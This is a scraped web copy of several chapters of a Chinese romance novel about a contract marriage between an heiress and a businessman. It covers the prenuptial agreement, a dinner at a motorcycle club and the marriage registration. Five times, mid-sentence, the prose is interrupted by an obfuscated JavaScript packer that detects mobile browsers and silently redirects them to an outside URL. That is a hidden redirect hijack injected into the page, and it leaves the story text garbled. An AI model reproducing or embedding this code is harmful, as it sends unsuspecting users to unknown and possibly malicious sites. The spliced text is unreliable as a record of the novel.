“你的需求是将来我代你管理梁氏,我答应,但你跟梁董之间能否达成共识,我不参与。我的需求就是联姻本身。既然是各取所需,那就把财产厘清。至于额外的分红或者其他补偿,我不需要。”他说,声线低沉中带着稳重,是君子一诺的分量。 梁奚禾眼睛一亮,这不就是免费招了一个牛马? 她当然乐见其成:“好,关于财产我们聊清楚了。那其他方面呢?孟总对婚姻还有别的要求吗?” “没有。你呢?”他问。 没想到他这么事少好说话,梁奚禾有点激动,清了清嗓子:“那我们就联姻不联系,孟总能接受吗?” 孟翰泽:“……” 没错过她眼中的期待,他注视了她片刻,眼眸中依旧沉静如水,看不出喜怒。 沉默的间隙中,梁奚禾端起了茶杯,尚未送至唇边,就听见他问:“这就是你说的,对婚姻持开放态度?” “嗯。” 孟翰泽垂眸去端杯子,似随口闲聊一般又问:“既然想要开放婚姻,怎么又介意我是不是单身?” 梁奚禾理所当然地说:“凡事讲究先来后到。你跟我结婚后,谁再跟你谈朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829920|158916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友,是她们自己的选择,会不会受到伤害,就不是我该考虑的事了。反正我不做加害者。” 听起来很有道理,她似乎很笃定自己不会因此成为受害者。 孟翰泽抿了一口茶,掀起眼皮看她:“形婚?还是隐婚?” 这些细节梁奚禾没仔细考虑过,她一心只想把结婚证拍到梁董桌上,给他引荐一个靠谱的继承人,从此她人在家中坐,分红天上来。 “你觉得怎么样比较好?”她将问题抛回去。 包厢里安静片刻,然后她听到他波澜不兴地开口。 “如你所愿。协议之外,梁小姐想做什么都随你心意。只要给各自留个体面。” 谁说他为人处事一板一眼的?分明通透明白拎得清。就此对形婚达成共识,梁奚禾喜不自胜,手腕一转将茶杯送至他面前。 两只晶莹光亮的德化白瓷压手杯轻吻在一起,清脆地“叮”了一声。 “孟总,合作愉快。” 她笑着将杯中茶饮尽,金骏眉是早春时节刚刚萌出的嫩芽,没想到会这么甘甜。 孟翰泽眼神无波,放下杯子后抬腕看表,梁奚禾下意识地跟着看向他的左手手腕,随后惊讶地挑眉。 那是一只黑银配色的古董军用表,来自瑞士品牌瓦斯针。上个世纪50年代,这个品牌曾在中国风靡过一阵子,后来就逐渐淡出大陆市场。现在已经很少会看到有人戴,可以说是小众中的小众。 更何况,这只表如今在国外的市值折合人民币也就几千块。以孟翰泽的身家,他添个万字入一块百达翡丽也不为过。 梁奚禾很惊讶他的腕表会这么古朴,而她之所以能一眼认出,是因为她也有一块同品牌的手表,跟他的是同款,是外婆的遗物,平时收在保险箱内。 在她神游的时候,孟翰泽从茶几边缘拿过两份文件,抓紧时间将刚刚谈妥的落实到白纸黑字上:“这是草拟的婚前财产协议和婚内财产协议,需要再加一条代为管理梁氏的约定。” 梁奚禾兴冲冲地主动接过:“给我吧,我去跟律师说。”离开前见茶几上还有两份文件,她问,“这两份是什么?” “忠诚协议。”他答得云淡风轻,“用不到了。” 大家愉快地决定婚后各玩各的,自然不用签这种东西。梁奚禾点头,开门出去。 孟翰泽继续泡茶,第二泡的金骏眉还不到最佳状态,香气也不够饱满。 作出联姻这个决定很突然,但也不算意外,他本来就没打算跟谁谈感情。难得这位梁小姐对婚姻也没有感情方面的期待,他算是如释重负。 婚约不牵扯其他,当合同履行最好。大家行使权利,履行义务,照章办事,公平公正。 他的目光又落到剩下的那两叠文件,朝上的这一面,“忠诚”二字黑体,初号,加粗,十分醒目。 他出手将文件翻了个面倒扣到桌上,起身大步走出去。 暖融融的阳光透过玻璃杯中金黄色的茶汤,洒落在墨绿色的文件封底上,给那一行烫金的印刷字又镀上了一层金辉。 【本体检报告仅供受检者本人拆阅。】 8. 第 8 章 夸父重机俱乐部平时只有杜师傅一人开门营业,主营摩托车修理业务。不过现在骑摩托车的人越来越少,店里生意并不好。 杜师傅的工资却不低。夏末他俩宁可紧着自己也绝不亏待他,把这位修了一辈子摩托车的老师傅当稀世珍宝一样供着。 不干活白领钱的事,杜师傅做着心里不踏实,几番请辞,但每次提出辞职,夏末他们就给他加一成工资。三次之后,他再也不敢提,只能尽心尽力地替他们看好店,保养好车。 周末两个年轻人会到店里,有时单独来,有时一块儿来。只要他们在店,杜师傅就兼职做起厨师,负责把孩子们喂饱。 天色将晚,他准备做晚饭。新来的小姑娘还不熟悉,他去后院寻人问问有没有什么忌口。 梁奚禾抬头看他:“杜师傅,我不在这儿吃。” 杜师傅:“夏末他们今天上山跑圈,不会回来得很早,还是一块儿吃点吧。” 梁奚禾想了想:“行。那您别放辣。”窝回沙发里。 早知道要等这么久,她下午从“茶礼”出来就应该回家补觉去。不过婚前协议神速搞定,只待明天周一去领证,事情进展顺利得令人难以置信,大概率她也是睡不着的。 梁奚禾无端想起孟翰泽的签名。 他随身带着一支钢笔,万宝龙的开普勒,几年前她给梁茂林物色五十岁生日礼物时就想买这个臻藏系列,没买到。 藏蓝色的笔身深邃而神秘,很衬他好看的手,更跟他如墨般的深眸冷目绝配。 梁奚禾就这样侧着头看他写下自己的名字,笔笔中锋,遒劲有力。 他签完名,等着与她交换协议,抬头却发现人在发呆,便问道:“还有什么犹疑?” 她才回神,直视着他深不见底的眼睛,不吝啬夸赞:“你的字很好看。” 似乎很意外她会突然夸他的字,孟翰泽一顿。她不再多说,低头签署自己的名字。 小时候奚云岚其实没少押着她练字,从软笔到硬笔都请过宁市书法协会中的大家一对一教学,但她最终自成一派,写得一手卡哇伊的字体。 梁奚禾写完最后的一撇一捺,放下随手跟虞高旻借的中性笔。A4纸上她和孟翰泽的名字,一个软萌,一个苍劲,竟然能并排出现在一起,有点突破了次元壁的意思。 孟翰泽应该没她那么多的感想,只面无表情地瞥了一眼,接过法务递过来的印泥,利落地摁上了手印。除了这个手印之外,这份协议于他而言似乎跟以往签订的那些商业合同并没什么不同。 法务又递过来湿巾,他擦拭着手指,询问她的意见:“明天领证?” “好。” 她迫切希望越快越好,对此完全没意见。 这时虞高旻没忍住插话:“两位不打算看个黄道吉日什么的?” 梁奚禾本来想说不用,他们连八字都没合,还看什么日子,孟翰泽已经偏过头对法务说:“看看日历。” 法务点开app:司命,成日,宜嫁娶。 孟翰泽拍板:“就明天。”问她,“我上午有例会,下午两点?” “好。” 他友情提醒:“民政局四点半结束登记。” 言下之意应该是让她别再像今天这样迟到,梁奚禾撩撩头发,清咳一声,还是那句话:“……我尽量准时。” 孟翰泽只说:“不要迟到太久。” 梁奚禾承诺:“不会拖到后天。” 一旁的虞高旻和法务:“……”交换一个见鬼了的眼神。 众所周知,孟总看重时间观念等同于契约精神。没有迟到的人可以拿到与孟氏合作的机会。 这是第一位。 诸事议定,孟翰泽就不再多留,只说已经安排餐厅送餐过来,让他们稍候。离开前,梁奚禾见他又折返包厢,亲自将没用上的忠诚协议草稿带走。 她待在“茶礼”慢条斯理地享用了他安排的清淡又不失风味的淮扬菜。之后的整个下午,她都在为开到这样严谨周到的稀缺隐藏款而沾沾自喜。 既然要留在夸父吃晚饭,梁奚禾就格外有耐心,窝在沙发椅中继续查攻略。 如果有精神体这回事,那么她的精神体一定是极其需要阳光的向日葵。 英国的秋冬日照不足,妖风阵阵,时不时下点小雨,这会让她的情绪一直处于不稳定状态。以前要上课没办法,只能趁小假期去西班牙待几天。 今年毕了业,终于有了大把可支配的时间,要不是急需回国跟父母掰头,此刻她应该已经在南半球晒太阳了。 回来后的这两天,宁市天气一直很好,加上人逢喜事精神爽,她的感觉还不错。不过再过一段时间,等进入雨夹雪的日子,她肯定还是难以忍受。 领完证,她还是要去澳洲,或者斐济之类的岛国过个冬。她看好了攻略种完草,顺手把想去的地方发给了雷迪,让她联系旅行社定制行程。 微信里,她交代完退出跟雷迪的对话框,就看到她和夏初、虞高旻的三人临时群聊冒出红点。 虞高旻Gavin:【我把孟总拉进来了,大家都是朋友,以后多聚聚![露齿笑]】 上面有行系统提醒的小字:“虞高旻Gavin”邀请“孟翰泽”加入了群聊。 原来他们是朋友,梁奚禾惊讶了一下。 这时,杜师傅最后一个菜下锅,在呲哩哗啦的动静里,她听到了引擎声收起手机,果然就见两辆机车一前一后开进院子。 夏末停好车,将头盔挂上车把,赶紧朝她走过来:“禾姐,等很久了吗?我一直没看手机,一看到你信息,我们马上就赶回来了。” 两人不认识之前,夏末就知道这位梁大小姐是能让他亲姐调整档期配合她时间的人,什么时候迁就过其他人?今天让她等了自己这么久,他特怕到手的大腿没得抱了。 “没事。” 如果不是他们只有周末才有时间,梁奚禾确实不会耐着性子等,但等都等了,就不会再矫情地多说什么。 她看向那辆全黑的哈雷,一个干净秀气的男生正坐在上面,穿着黑色的飞行夹克和灰色带帽卫衣,眉眼之间看着有些眼熟。但这冷郁、酷拽的劲儿,想不起来在哪里见过。 “这就是你那位朋友?”她问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829921|158916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哦对,我给你们介绍一下。” 夏末摆手喊人过来。那男生翻身下车,双手插在裤袋里,三分拽七分漠然地走过来。 “他就是我的好兄弟姚博远。博远,这位就是我跟你说的禾姐,你跟着我喊姐就行了。” 带巨资入会的新成员,姚博远听说过,对她颔首算打过招呼,没开口。 倒是梁奚禾直截了当:“夏末说你懂车,那我的车以后就交给你可以吗?” 听了这话,姚博远蹙眉,他又不是技师,交给他做什么? 杜师傅端着菜上桌,喊他们吃饭。 “禾姐饿了吧?吃饭吃饭!边吃边聊!” 夏末殷勤地引着梁奚禾去前面店里,姚博远一副可吃可不吃的样子,不紧不慢地缀在后面。 杜师傅给大家盛好饭,夏末扒拉了一口,突然想到件事,匆匆咽下后问:“禾姐,我姐不会要闪婚吧?我今天出门前听到她在跟谁打电话,说要领证什么的……” “不会。” 梁奚禾淡定如常。要领证的人的是她,签好协议后她给夏初去过电话。 吃了一口菜,偏咸了,她问:“杜师傅,有水吗?” “有有。”杜师傅怪自己粗心,竟然不记得给人倒杯水,赶紧起身。 夏末嘟囔:“那是谁啊?她会有空关心别人领不领证吗?” 觉得他太八卦,梁奚禾闲闲地说:“不然我现在问问你姐,说你挺好奇的。” 夏末惊恐,差点噎住。 一直默不作声的姚博远掀起眼皮看了她一眼。 杜师傅端来温水,梁奚禾道谢后放下筷子,喝着水再次问姚博远:“我能不能把车交给你?” 姚博远筷子未停:“杜卡迪有4s店。” 夏末气死,瞪着他,桌子底下又踢了他一脚。 梁奚禾没生气,说得更清楚一点:“我需要懂车的人跟4s店沟通。” 就像家里两台超跑的维养交由司机专门负责一样,杜卡迪也需要一个人跟进,定期检修,有问题跟4s店交涉处理,确保她想用车的时候车况良好。 姚博远尚未表态,夏末赶紧应承:“禾姐放心交给我们。” “好,那下周先帮我上牌。” 菜色不对胃口,梁奚禾也不欲再多说。若不是嫌那些专业俱乐部人多规矩多,她也不会找他们。已经花了钱,她就只看结果,不会替他们操心该怎么落实。 她起身:“你们慢吃,上好牌告诉我,最迟下周六我来取车。” 将财神姐姐送走,夏末回到饭厅,拍了姚博远一掌:“前两天你不是还说以后不想跟家里拿钱了吗?今天还把人民币往外推?” 姚博远只顾吃饭不搭腔,气氛有点冷凝。杜师傅想着车管所上班的时间他们都要上学,就主动提出他去跑上牌的事。 过了一会儿,姚博远放下碗筷:“不用,明天我去。” 他学校在邻市,夏末抬眼看他:“你今天不回去了?不怕被你爸妈说?” 提及父母,姚博远眼神更为冷淡:“他们出差了。”不欲多聊,径自往后面去看那辆杜卡迪。 9. 第 9 章 虞高旻冲过澡走出更衣室,将装备交由工作人员归置后,看到孟翰泽正准备离开,他走上前去。 周日晚上是冰球俱乐部固定的活动时间,包括他们俩,这里一共有20位会员,所以一般都能凑齐人头真刀真枪来一场比赛,有时实在凑不齐就随便玩玩。 今晚酣畅淋漓地打了一场,热血跟斗志都再度被激活,虞高旻跟孟翰泽并肩而行的时候,胸腔里萌生出一往无前的勇气。 他说:“孟总,羡慕你已经解决个人问题了,以后还请多多帮我助攻。” 孟翰泽:? 莫名其妙地看他一眼:“助攻什么?” 虞高旻虚虚握拳放在唇边清咳一声:“我喜欢的女孩子是你太太的闺蜜,要不是她开口,我也不会临时放你鸽子。我不想暗恋了,打算正式追求她。” “你太太”三个字落在耳朵里,孟翰泽顿了顿。他尚未适应这个称谓,需要几秒钟的反应时间将它与眼前浮现的那只气鼓鼓的小刺豚联系到一起。 但刺豚小姐要求联姻不联系,他答应了的。 “帮不上你。”他说。 “帮得上。”虞高旻赶紧说,“我之前约了她几次都赶上人家忙的时候了,以后我还是先找孟太太打听清楚她的行程比较妥当。还有,万一她对单独跟我出来有顾虑,那我们四个人约着聚聚就还挺自然的。” 孟翰泽想问,如果女生都不想被你单独约出来,那你还起劲什么。不过他没追过人,对这种锲而不舍不理解就保持尊重,没问出口。 虞高旻正振奋着,掏出手机:“正好昨天她给我们仨拉了群,我把你也拉进去。” 很快收到了一条新的群消息。 虞高旻Gavin:【我把孟总拉进来了,大家都是朋友,以后多聚聚![露齿笑]】 孟翰泽:“……” 工作用企业微信,他这私人微信里一共三个群,姚德容组建的家庭群,发小群,还有冰球俱乐部的会员群。 现在又多了一个。 不小心点到右上角的三个点,群聊信息里他一眼看到了那个微信名称:Thea。 头像是滑雪的时候自拍的侧颜,全副武装,只有雪镜下露出一点小巧挺翘的鼻尖。 看不清脸,但直觉是她。 他没有进群自我介绍的习惯,两个女生也没有说话,又看了两眼他便锁了屏。 到了停车场,两人分开。 虞高旻哼着歌启动了车子,还没开到道闸,夏初的电话就进来了。 嘿,人一旦有了更多的交集,联系的频次也日益增多。兴奋的虞高旻坐直了身子,接通。 “夏初?” 夏初没像往常那样喊他“师兄”,十分直接地问:“你在哪儿?” 这语气,可比客套地喊他“师兄”听着舒服多了。 虞高旻马上报备:“刚打完球,正在回家的路上。” “你家在哪儿?我现在过去找你。” 虞高旻:? 惊得一脚刹车停了下来,那句“找我有事吗”都在嘴边了,他生生咽了回去,高高兴兴把定位给她私发了过去。 夏初:“我半个小时后到。” 切断了通话。 虞高旻愣了一会儿,直到后面排队出场的车辆闪了灯,才猛地回过神来,一路顶着限速冲回了家里。 虽然钟点工阿姨每周上门打扫两次,家里并不凌乱,但他站在玄关处环视一周后,觉得一个独居男人的家里还是缺少了点氛围。 于是,他冲到小区门口的超市里买了女士拖鞋。路过花店,让老板看着拿了两束,连带花瓶抱走。经过水果店,又买了车厘子和草莓,这两种不用动刀也不用剥皮,正好他不想浪费丁点独处的时间。 回到家里布置好,他刚开始洗水果,就听见门铃响,匆匆擦手去迎人。 夏初一进门,视线就落到粉色的女士拖鞋上,来之前她没想太多,这会儿才意识到来人家家里多少有点冒昧了,于是站着没动,问:“方便进去吗?如果不方便的话,我们找个咖啡馆聊。” 虞高旻:“当然方便。”为表示热烈欢迎,他说,“进来进来,你随便坐。”自己赶紧折回厨房去端水果。 夏初脱了高跟鞋,没穿那双女士拖鞋,直接往里走。没想参观,但餐桌上、茶几上各有一盆重瓣百合,香气浓郁得令人无法忽视。她被熏得头晕,对这家的女主人竟然喜欢这花感到诧异。 今天她的拎包是Onthego黑色牛皮大号,很重,但她没放下来,也没坐,站在客餐厅的交界处等他从厨房里出来。 虞高旻一手一盘水果,出来见她还站着,笑道:“坐啊夏初,就跟自己家里一样。” 女主人也许马上就要回来,夏初不想引起不必要的误会,直接说明来意:“你跟孟翰泽认识,为什么事先没有跟我说明?” 俯身摆放水果的虞高旻还没意识到问题严重,笑嘻嘻地说:“以前没机会介绍你们认识,今后多聚聚。” 直起身子才看到夏初蹙着眉,眼里满是戒备和质疑,这种眼神他在许多对方当事人那里见到过,当即意识到情况不对。 夏初:“虞律师你作为孟翰泽的朋友,我不能完全相信你帮梁奚禾把关的婚前协议不会有失公允。我带了律师过来,请虞律师把今天签署的协议拿出来,我需要让别的律师再看看。” ……从“师兄”变成了“虞律师”。 虞高旻马上正色道:“夏初,首先律师对委托人的协议内容有保密责任,除非经过委托人的同意,否则我不能给你看,抱歉。其次……” 他深吸一口气,“朋友也分远近亲疏,你跟孟翰泽都是我的朋友。这么说吧,你们俩同时掉水里,我肯定先救你。” 说完他的心怦怦直跳,小心翼翼地觑她的反应。 夏初看了他一眼,自动略过了“其次”,掏出手机给梁奚禾拨了过去。 “禾苗,我事先不知道虞律师跟孟翰泽是好友,我不放心你们婚前协议的内容,怕你碰到了杀猪盘。我现在带了另一位律师在虞律师这里,你愿不愿意授权让别的律师再审一遍协议?我现在开了公放并且在录音,如果你愿意,我待会儿会把这段录音当做你的授权证据,给到虞律师。” 杀猪盘嫌疑人虞高旻:“……” 那边正在躺平吃甜瓜的梁奚禾,声音从扬声器里放出:“好啊。” 挂了电话,夏初马上把录音给虞高旻发了过去,问他:“我带来的律师在楼下,现在我可以让他上来了吗?” 虞高旻:“……” 见他不动,夏初点点头:“不看也行,麻烦虞律师转告孟总,明天领证我们禾苗先不去了。” 怎么敢不给看的虞高旻:“……” · 黄道吉日,梁奚禾迟到了十五分钟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829922|158916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为出门后发现没穿白色的衣服,不确定结婚登记照是不是必须红底白衣,她又回去87楼换。 最后选定的是ErmannoScervino的白色蕾丝礼服裙,外罩同品牌的白色羊绒蕾丝披肩。 出门时,雷迪看着难得这么盛装打扮的她,惊讶地问:“今天是去参加婚礼吗?” 梁奚禾朝她递了一个wink,似是而非地笑笑:“算是吧。” 雷迪虽然是她的生活助理,但受聘于奚云岚,事情板上钉钉前,她不打算多透露。 民政局的停车场内,黑色幻影正在安静地等待,加长版的车身鹤立鸡群。 孟翰泽坐在后排。他今天没有午休,抓紧把紧要的工作处理了才从公司出来。这会儿没有工作邮件,也没其他事,鲜少有这么百无聊赖的时候。 他点开昨晚新进的群,聊天记录还停留在虞高旻发的那条。 没有人欢迎他。 孟翰泽想起当初被拉进冰球俱乐部的会员群,因他的微信名就是本名,群里嗅觉灵敏的人马上反应过来:【欢迎孟总![鼓掌][鼓掌][鼓掌]】 很快其他人开始列队欢迎,后来又陆续有人毛遂自荐想当他的队友。当时他在开会,因为桌上的手机频繁振动,还特地开了免打扰。 像这样安静的群,也还挺好的。 正要退出对话框,页面忽然一闪,他的手顿住。 “虞高旻Gavin”修改群名为“良梦于夏” 紧跟在系统提示后,虞高旻又发了新的消息:【灵光一现想了个群名,藏了我们四个人的姓,是不是很有意境?[露齿笑]】 这个表情,让孟翰泽想起自己的姑姑,叶德容喜欢往群里转发各种文章,科普养生的谈人生的聊理想的……再配上评语和这表情。 虞高旻不知道哪里来这么重的年代感。不出意外,这个话题是不会有人回的。 连他都不想回。 三分钟后,果然尴尬了的虞高旻来私聊他:“助攻求助攻!孟总,帮我把场子热起来!” 孟翰泽正要回复,余光里瞥到一袭白色,有所感应一般,他抬头看去,刺豚小姐刚从出租车上下来,在低头整理裙摆。 他想起来,她的跑车都被封了。不过竟然没让家里司机送,总不会真是先斩后奏。来不及细想,他飞快地打了几个字回虞高旻:【没空,领证。】 下车,迎了过去。 礼服裙薄薄的一层,羊绒披肩搭在肩头,寒气从脚上来,梁奚禾不由地打了个寒噤。她环抱着双臂快步往里走,没留意到孟翰泽。 为了配这鱼尾裙,她今天的鞋跟有7cm+,很久没有穿这么高的鞋,跨上台阶时差点崴脚。 “小心!” 手臂被人及时稳稳地托住,等她站稳,那人已经非常绅士地放开。 这声音低沉,带着温和,梁奚禾已经辨认出来,回眸去看,不出意外地落入了一双沉静的眼眸。 “不好意思孟总,我又迟到了。” 她站在台阶上说话,视线高于他,从这个角度看去,他板正得连发梢都一丝不苟。 孟翰泽略抬头,她化了淡妆,嘴里说着不好意思,一双葡萄眼却噙着笑意分外有神,大大方方的,不见赧然或者羞怯。 他不需要她道歉,才十五分钟而已,谁会对她上纲上线。 只道:“外面冷,进去吧。” 10. 第 10 章 梁奚禾去提裙摆,孟翰泽自然而然地接过了她的包,动作行云流水得仿佛理所当然,她一怔。他这个举动一瞬间让她错觉两人好像相熟已久。那种情到浓时的小情侣,水到渠成地来领证的相熟。 但明明不是。 他们只是才见第三面的陌生人而已。 梁奚禾知道这位孟总出了名的君子端方有礼有节,她相信这种举手之劳是他的绅士风度,换作任何一个女生,他都会这样于细微处照顾一二。 可她不习惯,也不需要。男人对女人的照顾,一旦掌握不好尺度就意味着突破社交边界,就会沾染暧昧。而她讨厌任何形式的暧昧不清,这会破坏合作双方的平衡。 她侧过头想婉拒,视线却再一次被他的手吸引。Dior这只小号托特,是限量款的白金蝴蝶刺绣,仙气十足,被握在他筋骨分明的大掌中有些违和,又很莫名地觉得养眼。 这一晃神,她的人已经不由自主地随着他继续往上走,拒绝的话错过了时机。 孟翰泽一手拎包,一手虚扶在她身后相护,以防她再摔倒。 梁奚禾没再说话,视线顺着他的手臂逐渐上移,打量。他今天换了身双排扣的戗驳领西装,板正,庄重,格外凸显了他的肩宽腰窄,高大挺拔。她想,这样出色的外表,确实是很容易让人生出兴趣的,色令智昏得很有说服力。 孟翰泽察觉到她的目光在自己身上停留了好一会儿,但他自觉保持着非礼勿视,只专注帮她留意脚下。 跨上最后一个台阶时,梁奚禾终于抬眸,看到了玻璃门上映照出两人的身影。 他灰色高定套装配上白色衬衫,而她白色蕾丝长裙——真的很像一对正在步入礼堂的新人。 她忽然意识到自己要结婚了这件事,正在真切地发生着。 下午,大厅里人不多,他们进了门就有工作人员前来引导:“两位是来办理结婚登记的吧?三张两寸照片准备好了吗?” 梁奚禾摇头。 “那请先去那边机器上拍一下照,好了再过来这边填资料。” 两人依言站到自助机器前面,孟翰泽按照提示一步步操作,开始拍照时,显示屏上出现了他的一张脸,和她的半张脸。 梁奚禾自觉往他那里站近了一步,肩膀碰到了他的上臂。隔着软糯的羊绒披肩,她感受到了精纺羊毛西装的挺括,以及若有似无的坚实的肌肉感。 她顿了顿,望向屏幕上方的摄像头。 第一次拍摄完成,初检不合格。又试了第二次,还是提示不合格。 梁奚禾脸上的假笑维持不住,嘟囔:“什么鬼嘛。” 这时,有工作人员路过,随手指点:“你们往前站站,靠拢一点,中间不能留这么大空档。” “……” 梁奚禾蹙起眉头,两个人都挨着了,还要怎么靠拢。 感应到刺豚炸毛预警,孟翰泽低头看了她一眼,抬手操作,重新进入拍摄模式后,他自觉后退了半步,往她身后站了站,半个肩膀与她交叠。 梁奚禾一滞。 站位细小的变化,感知却截然不同。他的存在感本就极为强烈,此刻站到她的身后,两人之间的距离越发近,身后温热的气息令她的五识陡然变得敏感起来,靠近他的耳侧竟控制不住地微微发烫。 她凝神看向前方,假装对着屏幕上的成像调整表情,实则暗自调整呼吸。 “等等。” 她突然看到镜头里自己的羊绒披肩忘了取下。随意一扯,披肩滑落。 孟翰泽下意识地低头看去,看到了她莹白优越的肩颈线。他一顿,随后微不可察地皱眉。这么冷的天,她里面竟然只穿了轻薄的礼服裙,还是无袖的,也不怕着凉。 他飞快地抬头,火速拍摄了照片。 像他们这种塑料婚姻,结婚证以后应该也不会经常拿出来重温,所以梁奚禾对照片完全没有要求。系统提示初检合格后,没等孟翰泽操作,她抢着点了打印。 等待机器反应的时间,孟翰泽提醒:“把衣服披上。” 梁奚禾“哦”了一声,整理好了披肩,机器正好吐露照片,她上前取出说了声“走吧”便往大厅另一侧走去。 孟翰泽的目光从她粉色的耳尖掠过,没第一时间跟上,掏出手机扫了屏幕上的二维码,保存了电子版。 后面两人配合着工作人员的要求一步步走,填表、审核材料的手续很顺利。 落上钢印,制证就完成了,工作人员突然问:“你们不拍照吗?” 梁奚禾疑惑抬眉,工作人员朝边上一努嘴,两人随之看过去。旁边那对领证的新人找了跟拍,摄影师正在捕捉各种找角度拍摄,有时也提摆拍的意见。 这种对人生里程碑作全程纪录的仪式感,让旁观者也感受到了新人对这段婚姻的用心。 和他们情况不同。 梁奚禾回过头,干脆利落地说:“我们不拍。” 工作人员闻言落下了钢印,将新鲜出炉的两个红本递到了两人手上,说了句新婚快乐。 “谢谢。” 孟翰泽将视线从隔壁的捧花和戒指上收回,接过人生的新证件翻阅,从合影看到个人信息。 梁奚禾接过了另一本,没看,直接放进了包里:“那我先走了。” 她起身往外走,准备叫车。孟翰泽将结婚证放入西装内袋,几步追上来。 “一起回去。” 梁奚禾刚想说不用,谁知自动门一开,冷气扑面,她猝不及防地打了个喷嚏……只能老实将话咽了回去,不再推辞,“那谢谢孟总。” 不知道他什么时候通知的,司机已经把黑色的幻影开了过来,时间卡得刚刚好。 孟翰泽护着她下了台阶,拉开车门,待她坐稳,从车尾绕去另一侧。等他上车时,递给她一条羊绒毯,是刚从后备箱取的。姚以涵偶尔会坐他的车,她喜欢穿裙子,他一年四季常备着毯子给她盖腿。 梁奚禾看了一眼,琥珀黄的山羊绒毛毯,上面有品牌经典的骏马图案,不像是他的风格。 说好各玩各的,她不会多问这是谁的毯子,但也不会接。 “谢谢,不用。”她回过头,兀自调高了空调。 孟翰泽:“……” 将毛毯放在中央扶手上,方便她需要时随手取用。 车里安静下来。 那边,虞高旻送走了委托人,估算着时间差不多,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829923|158916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群里问:【孟总和孟太领好证了吗?@孟翰泽@Thea】 各自看向窗外的两人同时低头看手机。 孟翰泽看到消息后,侧头看了身边人一眼,见梁奚禾垂眸看手机一动不动,像在思考回不回。 这条消息他不可能再视而不见,留给她回复。将妥帖收在西装内袋中的红本取出,他拍了一张封面发到群里,又将红本贴身放好。 很快,虞高旻Gavin:【恭喜恭喜!】连发了好几个放鞭炮和礼花的动态表情。 孟翰泽:【谢谢。】 他点到发红包页面,发了3个199元的普通红包。 虞高旻秒领取,几个表情包后,系统提示夏初领取了红包。 夏初:【恭喜!】 孟翰泽又回:【谢谢。】 唯独Thea没动静,他转头询问:“怎么不抢红包?” 梁奚禾看着手机,嘴里答道:“我也有吗?”一顿操作后她才抬头,“我只发了两个,没算你。” 孟翰泽手机一震,就看到她跟着发了红包。 既然没他的份,他退出了对话框,只说:“没关系。你点刚刚的红包。我发的,你不会没有。” 梁奚禾一顿,这话她不知道该怎么接。耳尖有些痒意,提醒她怎么接都不合适。 她看向孟翰泽,他面色平静地看手机,侧颜的线条坚毅,神情严肃认真,并不像是随口撩她。 他只是客观地阐述了一个事实。 梁奚禾“嗯”了一声当作回应,红包却没点。她知道这种群红包不会超过200,但不是钱的事,说好了联姻不联系,也就不必红包来红包去地假装热络了,尤其群里虞高旻还发着各种从喜庆气氛变成暧昧氛围的表情包。 婚姻不是用来给自己再上一道枷锁的,她要警惕不清不楚地模糊了边界感。 孟翰泽没再关注红包。 姚以涵半个小时前问他在不在忙,他当时没有留意,这会儿才看到。 领证的事,他是独断专行,但没打算瞒着家里,所以将刚刚拍的红本转给妹妹:【刚在领证。】 姚以涵没马上回,可能还在上课。 车内又安静下来。 隔板没有升起,在前排听了两耳朵的凌叔觉得有点诡异。 他在孟家当了几十年司机,看着孟总长大,平时又跟着他进进出出,知道两人没谈过,今天是来闪婚的。 结婚不是小事,尤其姚董和太太的前车之鉴摆在那里,他其实有心劝孟总三思而后行,只是碍于身份,几次话到嘴边又吞了回去。 万一孟总有不得不结婚的理由,他见识短浅地多嘴多舌,只会让所有人都尴尬。 这会儿凌叔很庆幸自己没乱说话。这领完证的新婚夫妇分坐两边,各自沉默,偶尔说句话也是客套疏离,哪有爱得上头的样子。 他想起在民政局门口,孟总小心翼翼扶着女孩子……孟总一向温和有礼,但也没见什么时候对人这样温柔小意过。怕是……年轻人血气方刚,闹出了人命。 